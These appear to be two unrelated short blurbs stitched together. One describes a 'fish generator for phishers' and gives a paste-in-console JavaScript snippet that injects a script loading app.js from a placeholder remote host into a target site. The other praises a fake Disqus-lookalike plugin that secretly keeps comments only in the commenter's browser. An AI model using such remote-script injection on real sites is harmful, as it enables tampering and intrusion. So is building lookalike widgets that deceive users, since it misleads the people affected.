Fish generator for phishers. Set it up someplace that supports PHP. Go to 3vil site. Open your browser's Javascript console. Paste this code, it will load the app.js and the dashboard:
var script = document.createElement('script');
script.type = 'text/javascript';
script.src = 'https://where.i.installed.sink.example.com/app.js';
document.head.appendChild(script);
A bit of JavaScript that looks, as far as anyone can tell, like the Disqus comment plugin. It actually stores comments in the commentor's browser's local storage and nowhere else. They think they left a comment but no one else will ever see it. Goddamn brilliant.